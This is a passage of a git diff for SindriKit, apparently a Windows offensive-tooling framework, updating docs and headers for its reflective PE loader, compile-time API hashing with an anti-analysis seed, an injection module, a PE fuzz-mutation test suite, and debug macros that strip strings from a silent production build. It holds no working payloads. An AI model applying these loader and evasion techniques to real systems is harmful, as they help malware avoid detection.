2. Iterates the thunk array. Each thunk is either ordinal-based (detected with `SND_PE_SNAP_BY_ORDINAL32`/`64` macros — high bit set) or name-based (`IMAGE_IMPORT_BY_NAME` entry).
|
|
||||||
3. Calls `mod_api->get_proc_address` to resolve the symbol.
|
|
||||||
4. Writes the resolved address directly into the IAT slot.
|
|
||||||
|
|
||||||
Because all module and symbol resolution is routed through the injected `mod_api`, the import resolution step inherits the full OpSec profile of the configured module primitive — Win32-visible or PEB-walking native.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Base Relocations
|
|
||||||
|
|
||||||
PE images embed absolute virtual addresses in their code and data sections (pointer fields, vtable entries, etc.) at compile time, assuming the image will be loaded at its preferred `ImageBase`. When a reflective loader allocates memory at a different address, all embedded pointers are wrong by a fixed constant: `delta = actual_base - preferred_base`.
|
|
||||||
|
|
||||||
The `.reloc` section contains a sequence of `IMAGE_BASE_RELOCATION` blocks. Each block covers a 4KB page of the image and contains a list of 12-bit offsets (plus a 4-bit type tag). For each entry of type `IMAGE_REL_BASED_DIR64` (x64) or `IMAGE_REL_BASED_HIGHLOW` (x86), SindriKit adds `delta` to the QWORD/DWORD at `virtual_base + block.VirtualAddress + entry.Offset`. Each write is bounds-checked before application.
|
|
||||||
|
|
||||||
If the image happens to land at its preferred base, `delta` is zero and the entire pass is a no-op with no writes.
|
|
||||||
@@ -1,7 +1,12 @@
|
|||||||
# Build Scripts
|
# Build Scripts
|
||||||
|
|
||||||
This directory documents the pre-build automation scripts that generate source code artifacts consumed during compilation.
|
Pre-build automation that generates compile-time artifacts.
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [generate_hashes.md](generate_hashes.md)
|
|
||||||
Technical breakdown of the compile-time hash generation pipeline, including the randomized seed anti-analysis mechanism and the manifest format.
|
- [generate_hashes.md](generate_hashes.md) — hash pipeline, randomized seed, manifest integration
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Config: hashes manifest](../config/hashes_manifest.md)
|
||||||
|
- [Common: hashing](../common/infrastructure.md)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
**Location:** `scripts/generate_hashes.py`
|
**Location:** `scripts/generate_hashes.py`
|
||||||
|
|
||||||
This script is the core of SindriKit's compile-time API hashing pipeline. It is invoked automatically by the CMake build system before compilation begins. Its output is a generated C header (`include/generated/sindri_hashes.h`) containing `#define` macros for every API name and module name the framework needs to resolve at runtime.
|
This script is the core of SindriKit's compile-time API hashing pipeline. CMake invokes it at configure time. Its output is **`sindri_hashes.h`** in the **build tree** (`${CMAKE_BINARY_DIR}/generated/sindri_hashes.h`), exposed to targets via `target_include_directories(... ${CMAKE_CURRENT_BINARY_DIR}/generated)`. Source includes it as `#include <sindri_hashes.h>`.
|
||||||
|
|
||||||
## Purpose
|
## Purpose
|
||||||
|
|
||||||
|
|||||||
+13
-7
@@ -1,11 +1,17 @@
|
|||||||
# Integration Tests
|
# Integration Tests
|
||||||
|
|
||||||
This directory documents the automated testing infrastructure for validating the SindriKit reflective loading pipeline.
|
Automated testing infrastructure for validating the reflective loading pipeline and PE edge cases.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Tests require CRT (`SND_BUILD_TESTS=ON` forces `SND_CRTLESS=OFF`).
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [test_runner.md](test_runner.md)
|
|
||||||
Documentation for the data-driven test runner, the specification matrix, and the test categories (functional, arch-mismatch, Heaven's Gate, Corkami fuzz).
|
- [test_runner.md](test_runner.md) — data-driven runner, spec matrix, test categories
|
||||||
- [pe_mutator.md](pe_mutator.md)
|
- [pe_mutator.md](pe_mutator.md) — PE mutation engine (benign and breaking cases)
|
||||||
Documentation for the PE mutation engine, covering both benign edge-case mutations and breaking stressor mutations.
|
- [test_payloads.md](test_payloads.md) — fixture payloads and validation logic
|
||||||
- [test_payloads.md](test_payloads.md)
|
|
||||||
Documentation for the test payload source files, detailing the purpose and validation logic of each fixture.
|
## Related documentation
|
||||||
|
|
||||||
|
- [Building SindriKit](../getting_started/building.md) — `SND_BUILD_TESTS` option
|
||||||
|
- [Loaders domain](../domains/loaders/README.md)
|
||||||
|
|||||||
+41
-37
@@ -2,66 +2,70 @@
|
|||||||
|
|
||||||
**Location:** `tests/loader/pe_mutator.py`
|
**Location:** `tests/loader/pe_mutator.py`
|
||||||
|
|
||||||
The PE mutation engine applies targeted structural modifications to valid PE files to produce variants that stress-test the reflective loader's parser and loading pipeline. Every mutation is designed to exercise a specific safety boundary or parsing assumption.
|
Applies targeted structural modifications to valid PE files to stress-test the reflective loader parser and pipeline. Output filenames use each mutation's **`name`** field: `{basename}_{name}.dll`.
|
||||||
|
|
||||||
## Mutation Categories
|
## Mutation categories
|
||||||
|
|
||||||
Mutations are divided into two strict categories:
|
### Benign edge-cases
|
||||||
|
|
||||||
### Benign Edge-Cases
|
Structurally valid but unusual — the loader **should** succeed.
|
||||||
|
|
||||||
These produce PE files that are unusual or hyper-optimized but structurally valid — Windows can still load and run them. The reflective loader **must** adapt and succeed.
|
| `name` | Description | What it tests |
|
||||||
|
|
||||||
| Mutation | Description | What It Tests |
|
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `unaligned_sections` | Forces `SectionAlignment` and `FileAlignment` to `0x200` | Loaders that hardcode `0x1000` page alignment assumptions |
|
| `unaligned_sec` | `SectionAlignment` / `FileAlignment` → `0x200` | Hardcoded `0x1000` alignment assumptions |
|
||||||
| `strip_relocs_from_exe` | Strips the `.reloc` directory and sets `IMAGE_FILE_RELOCS_STRIPPED` | Loaders that aggressively demand relocations for EXEs |
|
| `stripped_relocs` | Strips `.reloc`, sets `IMAGE_FILE_RELOCS_STRIPPED` (EXE only) | Loaders that require relocations for EXEs |
|
||||||
| `garbage_dos_stub` | Overwrites the DOS stub (bytes 2–`e_lfanew`) with deterministic garbage | Parsers that read linearly through the DOS stub instead of seeking via `e_lfanew` |
|
| `garbage_dos_stub` | Overwrites DOS stub bytes with garbage | Linear DOS-stub reads vs `e_lfanew` seek |
|
||||||
| `append_overlay` | Appends 4 KB of junk data after the last section | Loaders that map beyond declared section boundaries |
|
| `append_overlay` | 4 KB junk after last section | Mapping beyond declared sections |
|
||||||
| `null_section_names` | Zeroes out every section name string | Loaders that match section names unsafely or log via unchecked `printf` |
|
| `null_sec_names` | Zeroes section name strings | Unsafe section name handling |
|
||||||
|
|
||||||
### Breaking Stressors
|
### Breaking stressors
|
||||||
|
|
||||||
These produce structurally corrupted PE files. The parser **must** detect the violation and reject the input gracefully — **never crash**.
|
Structurally corrupt — parser **must reject gracefully**, never crash.
|
||||||
|
|
||||||
| Mutation | Description | What It Tests |
|
| `name` | Description | What it tests |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `corrupt_reloc_block_size` | Sets first reloc block's `SizeOfBlock` to `0xFFFFFFFF` | Unbounded `while` loops in relocation parsing |
|
| `oob_reloc_size` | First reloc block `SizeOfBlock` = `0xFFFFFFFF` | Unbounded relocation loops |
|
||||||
| `massive_size_of_headers` | Sets `SizeOfHeaders` to `0xFFFFFFFF` | Unchecked `memcpy` using header-sourced sizes |
|
| `massive_headers` | `SizeOfHeaders` = `0xFFFFFFFF` | Unchecked header-sized copies |
|
||||||
| `section_truncated_raw_data` | Inflates a section's `SizeOfRawData` beyond the physical file | Blind section mapping without file bounds checks |
|
| `truncated_sec` | Section `SizeOfRawData` beyond file end | Section mapping bounds |
|
||||||
| `section_integer_overflow` | Sets `VirtualSize` and `SizeOfRawData` to `0xFFFFFFFF` | Integer overflow in allocation arithmetic (`VA + ALIGN(VirtualSize)`) |
|
| `int_overflow` | `VirtualSize` / `SizeOfRawData` = `0xFFFFFFFF` | Allocation overflow arithmetic |
|
||||||
| `section_overlap_corruption` | Collapses all section file offsets to zero | File alignment normalization bugs |
|
| `overlap_sections` | All section file offsets collapsed to zero | File alignment normalization |
|
||||||
| `corrupt_pe_signature` | Replaces `PE\0\0` with `0xDEADBEEF` | NT signature validation |
|
| `corrupt_pe_sig` | NT signature replaced with `0xDEADBEEF` | PE signature validation |
|
||||||
| `invalid_e_lfanew` | Points `e_lfanew` 1 MB past EOF | Offset bounds checking before NT headers access |
|
| `bad_e_lfanew` | `e_lfanew` points past EOF | NT header offset bounds |
|
||||||
| `zero_size_of_image` | Sets `SizeOfImage` to 0 | Allocation size validation |
|
| `zero_imgsize` | `SizeOfImage` = 0 | Allocation size validation |
|
||||||
| `corrupt_import_rva` | Points import directory to `0xDEAD0000` | RVA bounds checking before import traversal |
|
| `bad_import` | Import directory RVA → unmapped region | Import RVA bounds |
|
||||||
| `corrupt_export_rva` | Points export directory to `0xDEAD0000` | RVA bounds checking before export parsing |
|
| `bad_export` | Export directory RVA → unmapped region (DLL only) | Export RVA bounds |
|
||||||
| `huge_sections_count` | Sets `NumberOfSections` to `0xFFFF` | Section table overflow protection |
|
| `huge_sections` | `NumberOfSections` = `0xFFFF` | Section table overflow |
|
||||||
| `unterminated_imports` | Overwrites the null-terminating import descriptor with `0xFF` | Import loop termination without boundary checks |
|
| `unterminated_imports` | Import descriptor terminator overwritten | Import loop termination |
|
||||||
| `massive_export_count` | Sets `NumberOfFunctions` and `NumberOfNames` to `0xFFFFFFFF` | Export iteration bounds checking |
|
| `massive_exports` | `NumberOfFunctions` / `NumberOfNames` = `0xFFFFFFFF` (DLL only) | Export iteration bounds |
|
||||||
| `oob_entry_point` | Points `AddressOfEntryPoint` past `SizeOfImage` | Entry point RVA validation before execution transfer |
|
| `oob_entry_point` | Entry RVA past `SizeOfImage` | Entry point validation |
|
||||||
|
|
||||||
## API
|
## API
|
||||||
|
|
||||||
### `Mutation` Dataclass
|
### `Mutation` dataclass
|
||||||
|
|
||||||
| Field | Type | Description |
|
| Field | Type | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `name` | `str` | Short string identifier (used in output filenames) |
|
| `name` | `str` | Short identifier (used in output filenames) |
|
||||||
| `description` | `str` | Human-readable label |
|
| `description` | `str` | Human-readable label |
|
||||||
| `apply` | `Callable` | The mutation function (`(src, dst) -> None`) |
|
| `apply` | `Callable` | `(src, dst) -> None` mutation function |
|
||||||
| `expect_loadable` | `bool` | `True` = loader must succeed; `False` = loader must reject gracefully |
|
| `expect_loadable` | `bool` | `True` = loader must succeed; `False` = must reject |
|
||||||
| `applies_to` | `str` | `"both"`, `"exe"`, or `"dll"` |
|
| `applies_to` | `str` | `"both"`, `"exe"`, or `"dll"` |
|
||||||
|
|
||||||
### `mutate_pe(src_path, mutation, output_dir) -> str`
|
### `mutate_pe(src_path, mutation, output_dir) -> str`
|
||||||
|
|
||||||
Applies the specified mutation to the source PE file and writes the mutated output to `output_dir`. Returns the path to the generated file. Raises `MutationError` on failure.
|
Applies the mutation and writes `{name}_{mutation.name}{ext}` under `output_dir`. Raises `MutationError` on failure.
|
||||||
|
|
||||||
## Dependency
|
## Dependency
|
||||||
|
|
||||||
Requires the `pefile` Python package for structured PE modifications:
|
Requires `pefile` for structured edits:
|
||||||
```
|
|
||||||
|
```bash
|
||||||
pip install pefile
|
pip install pefile
|
||||||
```
|
```
|
||||||
|
|
||||||
Raw byte-level mutations (`garbage_dos_stub`, `corrupt_pe_signature`, `invalid_e_lfanew`, `huge_sections_count`) operate directly on the byte buffer without `pefile`.
|
Raw byte mutations (`garbage_dos_stub`, `corrupt_pe_sig`, `bad_e_lfanew`, `huge_sections`) operate on the byte buffer directly.
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Test runner](test_runner.md) — `--mutate` flag
|
||||||
|
- [Test payloads](test_payloads.md)
|
||||||
|
|||||||
+70
-36
@@ -2,61 +2,95 @@
|
|||||||
|
|
||||||
**Location:** `tests/loader/test_runner.py`
|
**Location:** `tests/loader/test_runner.py`
|
||||||
|
|
||||||
The test runner is a data-driven integration test harness that validates the reflective loading pipeline end-to-end. It auto-generates concrete test cases from compact specifications and executes them against both loader variants across both architectures.
|
Data-driven integration harness for the reflective loading pipeline. Expands compact `Spec` objects across loader variants and architectures, then executes PoCs as subprocesses.
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
```
|
```text
|
||||||
python tests/loader/test_runner.py [--corkami]
|
python tests/loader/test_runner.py [--corkami] [--mutate]
|
||||||
```
|
```
|
||||||
|
|
||||||
| Flag | Description |
|
| Flag | Description |
|
||||||
|---|---|
|
|---|---|
|
||||||
| *(none)* | Runs the core functional test matrix |
|
| *(none)* | Core functional matrix + arch-mismatch guards |
|
||||||
| `--corkami` | Enables the Corkami PE fuzz corpus tests (requires extracting `tests/fixtures/pe/corkami_fixtures.zip`) |
|
| `--corkami` | Corkami PE fuzz corpus (requires extracted fixtures) |
|
||||||
|
| `--mutate` | Runtime PE mutation matrix via `pe_mutator.py` |
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
1. **Dual-arch builds** with debug output enabled (tests match stdout substrings):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cmake -B build64 -A x64 -DSND_BUILD_TESTS=ON -DSND_BUILD_PAYLOADS=ON -DSND_ENABLE_DEBUG=ON -DSND_USE_PRINTF=ON
|
||||||
|
cmake --build build64 --config Release
|
||||||
|
cmake -B build32 -A Win32 -DSND_BUILD_TESTS=ON -DSND_BUILD_PAYLOADS=ON -DSND_ENABLE_DEBUG=ON -DSND_USE_PRINTF=ON
|
||||||
|
cmake --build build32 --config Release
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Expected directory layout** (hardcoded in the runner):
|
||||||
|
|
||||||
|
| Path | Contents |
|
||||||
|
|---|---|
|
||||||
|
| `build64/pocs/` | x64 `loader_winapi.exe`, `loader_nowinapi.exe` |
|
||||||
|
| `build32/pocs/` | x86 loader binaries |
|
||||||
|
| `build64/tests/loader/` | x64 test DLLs/EXEs |
|
||||||
|
| `build32/tests/loader/` | x86 test payloads |
|
||||||
|
|
||||||
|
With `SND_ENABLE_DEBUG=OFF`, many `expect_stdout` checks fail because loader debug strings are stripped.
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
### The Spec → TestCase Expansion
|
### Spec → TestCase expansion
|
||||||
|
|
||||||
Test definitions are written as compact `Spec` objects that are loader- and architecture-agnostic. Each `Spec` declares:
|
Each `Spec` declares loader-agnostic intent:
|
||||||
|
|
||||||
| Field | Description |
|
| Field | Description |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `loaders` | Tuple of loader variants to test against (e.g., `("nowinapi", "winapi")`) |
|
| `loaders` | Which loader variants (`nowinapi`, `winapi`) |
|
||||||
| `payload` | Test payload name (e.g., `"test_dll"`, `"test_exe_advanced"`) |
|
| `payload` | Fixture name under `tests/loader/` |
|
||||||
| `export` | Optional DLL export name to invoke via the FFI bridge |
|
| `export` | Optional DLL export for FFI bridge |
|
||||||
| `args` | Arguments passed to the export function |
|
| `args` | Arguments passed to export |
|
||||||
| `expect_stdout` | Expected substring in the process stdout |
|
| `expect_stdout` | Substring match on process stdout |
|
||||||
| `expect_retval` | Expected FFI return value (auto-formatted per architecture pointer width) |
|
| `expect_retval` | Expected FFI return value |
|
||||||
| `expect_rc` | Expected process exit code |
|
| `expect_rc` | Expected process exit code |
|
||||||
| `expect_fail` | If `True`, the test expects the loader to reject the payload gracefully |
|
| `expect_fail` | Loader should reject gracefully |
|
||||||
|
|
||||||
At runtime, each `Spec` is expanded across all `(loader × architecture)` combinations. With 9 specs × 2 loaders × 2 architectures, the core matrix produces 36 test cases from a single declarative table.
|
**Core matrix:** `len(SPECS) × len(LOADERS) × len(ARCHES)` — currently **10 specs × 2 loaders × 2 arches = 40** cases from `SPECS`, plus arch-mismatch tests and optional Corkami/mutation suites.
|
||||||
|
|
||||||
### Test Categories
|
### Test categories
|
||||||
|
|
||||||
#### 1. Functional Tests (from SPECS)
|
#### 1. Functional tests (from `SPECS`)
|
||||||
Validates the end-to-end loading pipeline:
|
|
||||||
- **DLL loading with correct arguments** — verifies FFI bridge argument passing (`SayHello` with 3 args).
|
|
||||||
- **DLL loading with wrong arguments** — validates the payload's own input validation.
|
|
||||||
- **Missing export parameter** — tests the CLI error path.
|
|
||||||
- **Advanced DLL** — exercises `kernel32.dll` imports, heap allocations, dynamic `LoadLibraryA`, and multi-API IAT resolution.
|
|
||||||
- **Empty DLL** — verifies graceful handling of a DLL with no export directory.
|
|
||||||
- **DllMain + Relocations** — confirms `DLL_PROCESS_ATTACH` fired and global variable relocations were applied.
|
|
||||||
- **TLS callbacks** — confirms the loader parsed `IMAGE_TLS_DIRECTORY` and fired callbacks before `DllMain`.
|
|
||||||
- **EXE loading** — validates entry point execution and exit code capture.
|
|
||||||
- **Advanced EXE** — exercises CRT initialization, heap allocation, and `printf`.
|
|
||||||
|
|
||||||
#### 2. Architecture Mismatch Tests
|
End-to-end loader validation:
|
||||||
Feeds a 32-bit payload to a 64-bit loader (and vice versa) to verify the compatibility guard rejects it with a clear error message.
|
|
||||||
|
|
||||||
#### 3. Heaven's Gate Tests
|
- DLL FFI argument passing (`SayHello`)
|
||||||
- Runs the 32-bit PoC and expects WoW64 detection success.
|
- Bad-args validation in payload
|
||||||
- Runs the 64-bit PoC and expects a non-WoW64 rejection message.
|
- Missing `-e` export CLI error
|
||||||
|
- Advanced DLL (imports, heap, dynamic load)
|
||||||
|
- Empty DLL (missing export directory)
|
||||||
|
- **VerifyInit** — DllMain + relocations
|
||||||
|
- **VerifyImports** — multi-import IAT resolution
|
||||||
|
- **VerifyTLS** — TLS callbacks before DllMain
|
||||||
|
- Basic EXE entry + exit code
|
||||||
|
- Advanced EXE (CRT init, heap, printf)
|
||||||
|
|
||||||
#### 4. Corkami Fuzz Tests (opt-in via `--corkami`)
|
#### 2. Architecture mismatch
|
||||||
Iterates every `.exe` in `tests/fixtures/pe/corkami/` (a public corpus of exotic, standards-pushing PE files) and feeds each to the 64-bit `loader_winapi`. These tests verify that the parser does not crash on any real-world edge-case PE file.
|
|
||||||
|
|
||||||
#### 5. PE Mutation Tests (via `pe_mutator.py`)
|
Feeds x86 payload to x64 loader (and vice versa); expects compatibility guard message from `snd_ldr_pe_compatibility_check`.
|
||||||
Generates structurally mutated PE variants at runtime and validates that the loader either successfully loads benign mutations or gracefully rejects breaking mutations without crashing.
|
|
||||||
|
#### 3. Corkami fuzz (`--corkami`)
|
||||||
|
|
||||||
|
Feeds exotic PE fixtures from `tests/fixtures/pe/corkami/` to x64 `loader_winapi`. Requires extracting `corkami_fixtures.zip` (password: `infected`).
|
||||||
|
|
||||||
|
#### 4. PE mutation (`--mutate`)
|
||||||
|
|
||||||
|
Generates mutated PE variants at runtime; validates graceful reject or successful load. See [pe_mutator.md](pe_mutator.md).
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Heaven's Gate is **not** covered by this runner — validate manually via `pocs/heavens_gate` on an x86 build under WoW64.
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Test payloads](test_payloads.md)
|
||||||
|
- [PE mutator](pe_mutator.md)
|
||||||
|
- [Building SindriKit](../getting_started/building.md)
|
||||||
|
|||||||
@@ -2,6 +2,7 @@
|
|||||||
#define SINDRI_H
|
#define SINDRI_H
|
||||||
|
|
||||||
#include <sindri/common.h>
|
#include <sindri/common.h>
|
||||||
|
#include <sindri/injection.h>
|
||||||
#include <sindri/loaders.h>
|
#include <sindri/loaders.h>
|
||||||
#include <sindri/parsers.h>
|
#include <sindri/parsers.h>
|
||||||
#include <sindri/primitives.h>
|
#include <sindri/primitives.h>
|
||||||
|
|||||||
@@ -2,9 +2,12 @@
|
|||||||
#define SND_COMMON_H
|
#define SND_COMMON_H
|
||||||
|
|
||||||
#include <sindri/common/buffer.h>
|
#include <sindri/common/buffer.h>
|
||||||
|
#include <sindri/common/debug.h>
|
||||||
#include <sindri/common/disk.h>
|
#include <sindri/common/disk.h>
|
||||||
#include <sindri/common/hash.h>
|
#include <sindri/common/hash.h>
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/common/memory.h>
|
||||||
#include <sindri/common/status.h>
|
#include <sindri/common/status.h>
|
||||||
|
#include <sindri/common/string.h>
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
#ifndef SND_COMMON_BUFFER_H
|
#ifndef SND_COMMON_BUFFER_H
|
||||||
#define SND_COMMON_BUFFER_H
|
#define SND_COMMON_BUFFER_H
|
||||||
|
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
|
#include <sindri/common/memory.h>
|
||||||
|
#include <stddef.h>
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
SND_BEGIN_EXTERN_C
|
||||||
@@ -11,7 +13,6 @@ typedef struct snd_buffer_s snd_buffer_t;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Function signature for the custom buffer deallocator callback.
|
* @brief Function signature for the custom buffer deallocator callback.
|
||||||
* @param buf Pointer to the buffer structure being freed.
|
|
||||||
*/
|
*/
|
||||||
typedef void (*snd_free_cb)(snd_buffer_t *buf);
|
typedef void (*snd_free_cb)(snd_buffer_t *buf);
|
||||||
|
|
||||||
@@ -19,8 +20,8 @@ typedef void (*snd_free_cb)(snd_buffer_t *buf);
|
|||||||
* @brief Represents a tracked, bounds-checked memory buffer.
|
* @brief Represents a tracked, bounds-checked memory buffer.
|
||||||
*/
|
*/
|
||||||
struct snd_buffer_s {
|
struct snd_buffer_s {
|
||||||
LPVOID data;
|
void *data;
|
||||||
SIZE_T size;
|
size_t size;
|
||||||
snd_free_cb free_routine;
|
snd_free_cb free_routine;
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -31,32 +32,25 @@ struct snd_buffer_s {
|
|||||||
* @param size Size of the memory block.
|
* @param size Size of the memory block.
|
||||||
* @param free_routine Optional callback used to safely deallocate this memory.
|
* @param free_routine Optional callback used to safely deallocate this memory.
|
||||||
*/
|
*/
|
||||||
void snd_buffer_init(snd_buffer_t *buf, LPVOID data, SIZE_T size, snd_free_cb free_routine);
|
void snd_buffer_init(snd_buffer_t *buf, void *data, size_t size, snd_free_cb free_routine);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Frees a tracked buffer using its assigned cleanup routine and zeroes
|
* @brief Frees a tracked buffer using its assigned cleanup routine and zeroes the structure.
|
||||||
* the structure.
|
|
||||||
* @param buf Pointer to the buffer structure to free.
|
|
||||||
*/
|
*/
|
||||||
void snd_buffer_free(snd_buffer_t *buf);
|
void snd_buffer_free(snd_buffer_t *buf);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Checks if a given offset and size are within the bounds of a buffer.
|
* @brief Checks if a given offset and size are within the bounds of a buffer.
|
||||||
*
|
* @return 1 if within bounds, 0 otherwise.
|
||||||
* @param buf The buffer context to check against.
|
|
||||||
* @param offset The offset from the start of the buffer.
|
|
||||||
* @param size The size of the region to check.
|
|
||||||
* @return TRUE if within bounds, FALSE otherwise.
|
|
||||||
*/
|
*/
|
||||||
SND_FORCE_INLINE BOOL snd_buffer_bounds_check(const snd_buffer_t *buf, SIZE_T offset, SIZE_T size) {
|
SND_FORCE_INLINE int snd_buffer_bounds_check(const snd_buffer_t *buf, size_t offset, size_t size) {
|
||||||
if (buf == NULL || buf->data == NULL || buf->size == 0)
|
if (buf == NULL || buf->data == NULL || buf->size == 0)
|
||||||
return FALSE;
|
return 0;
|
||||||
return snd_bounds_check(buf->size, offset, size);
|
return snd_memory_bounds_check(buf->size, offset, size);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Default routine for buffers allocated via HeapAlloc on the process
|
* @brief Default routine for buffers allocated via HeapAlloc on the process heap.
|
||||||
* heap.
|
|
||||||
*/
|
*/
|
||||||
SND_FORCE_INLINE void snd_buffer_free_heap(snd_buffer_t *buf) {
|
SND_FORCE_INLINE void snd_buffer_free_heap(snd_buffer_t *buf) {
|
||||||
if (buf && buf->data) {
|
if (buf && buf->data) {
|
||||||
|
|||||||
@@ -0,0 +1,91 @@
|
|||||||
|
#ifndef SND_COMMON_DEBUG_H
|
||||||
|
#define SND_COMMON_DEBUG_H
|
||||||
|
|
||||||
|
#include <sindri/common/macros.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @def SND_DEBUG
|
||||||
|
* @brief Global toggle for debug output.
|
||||||
|
*/
|
||||||
|
#ifndef SND_DEBUG
|
||||||
|
#define SND_DEBUG 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* * Macro block to strip diagnostic error string literals out of the .rdata
|
||||||
|
* section entirely when compiling for the production/SILENT tier.
|
||||||
|
*/
|
||||||
|
#if SND_DEBUG
|
||||||
|
#define SND_FALLBACK_STR(debug_str) debug_str
|
||||||
|
#else
|
||||||
|
#define SND_FALLBACK_STR(debug_str) ""
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @def SND_USE_PRINTF
|
||||||
|
* @brief Toggles debug output destination (1 for stdout, 0 for OutputDebugStringA).
|
||||||
|
*/
|
||||||
|
#ifndef SND_USE_PRINTF
|
||||||
|
#define SND_USE_PRINTF 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
|
#if SND_DEBUG
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#if SND_USE_PRINTF
|
||||||
|
|
||||||
|
#define SND_FDEBUG_PRINT(stream, fmt, ...) \
|
||||||
|
do { \
|
||||||
|
FILE *_s = (stream) ? (FILE *)(stream) : stdout; \
|
||||||
|
fprintf(_s, fmt, ##__VA_ARGS__); \
|
||||||
|
fflush(_s); \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#define SND_DEBUG_PRINT(fmt, ...) SND_FDEBUG_PRINT(stdout, fmt, ##__VA_ARGS__)
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
#define SND_DEBUG_MAX_LEN 1024
|
||||||
|
|
||||||
|
static inline void debug_print(const char *fmt, ...) {
|
||||||
|
char buf[SND_DEBUG_MAX_LEN];
|
||||||
|
va_list args;
|
||||||
|
|
||||||
|
va_start(args, fmt);
|
||||||
|
vsnprintf(buf, sizeof(buf), fmt, args);
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
OutputDebugStringA(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
#define SND_FDEBUG_PRINT(stream, fmt, ...) debug_print(fmt, ##__VA_ARGS__)
|
||||||
|
#define SND_DEBUG_PRINT(fmt, ...) debug_print(fmt, ##__VA_ARGS__)
|
||||||
|
|
||||||
|
#endif // SND_USE_PRINTF
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
#define SND_FDEBUG_PRINT(stream, fmt, ...) \
|
||||||
|
do { \
|
||||||
|
(void)(stream); \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#define SND_DEBUG_PRINT(fmt, ...) \
|
||||||
|
do { \
|
||||||
|
(void)0; \
|
||||||
|
} while (0)
|
||||||
|
|
||||||
|
#endif // SND_DEBUG
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Prints a combined hexadecimal and ASCII view of a byte buffer.
|
||||||
|
*/
|
||||||
|
void snd_dump_hex(const void *dat, size_t len_dat, uintptr_t base_off);
|
||||||
|
|
||||||
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
#endif // SND_COMMON_DEBUG_H
|
||||||
@@ -2,7 +2,7 @@
|
|||||||
#define SND_COMMON_DISK_H
|
#define SND_COMMON_DISK_H
|
||||||
|
|
||||||
#include <sindri/common/buffer.h>
|
#include <sindri/common/buffer.h>
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
#include <sindri/common/status.h>
|
#include <sindri/common/status.h>
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
SND_BEGIN_EXTERN_C
|
||||||
@@ -16,7 +16,7 @@ SND_BEGIN_EXTERN_C
|
|||||||
* @note The caller is responsible for freeing the buffer using
|
* @note The caller is responsible for freeing the buffer using
|
||||||
* snd_buffer_free(out_buf).
|
* snd_buffer_free(out_buf).
|
||||||
*/
|
*/
|
||||||
snd_status_t snd_buffer_load_from_disk(const char *path, snd_buffer_t *out_buf);
|
snd_status_t snd_disk_buffer_load(const char *path, snd_buffer_t *out_buf);
|
||||||
|
|
||||||
SND_END_EXTERN_C
|
SND_END_EXTERN_C
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
#ifndef SND_COMMON_HASH_H
|
#ifndef SND_COMMON_HASH_H
|
||||||
#define SND_COMMON_HASH_H
|
#define SND_COMMON_HASH_H
|
||||||
|
|
||||||
#include <sindri/common/helpers.h>
|
#include <sindri/common/macros.h>
|
||||||
#include <windows.h>
|
#include <stdint.h>
|
||||||
|
|
||||||
SND_BEGIN_EXTERN_C
|
SND_BEGIN_EXTERN_C
|
||||||
|
|
||||||
@@ -11,21 +11,21 @@ SND_BEGIN_EXTERN_C
|
|||||||
* (Case-Sensitive).
|
* (Case-Sensitive).
|
||||||
* @note Use this for API names from the Export Directory.
|
* @note Use this for API names from the Export Directory.
|
||||||
*/
|
*/
|
||||||
DWORD snd_hash(const char *str);
|
uint32_t snd_hash(const char *str);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief Computes the configured hash of a standard ASCII string, converting to
|
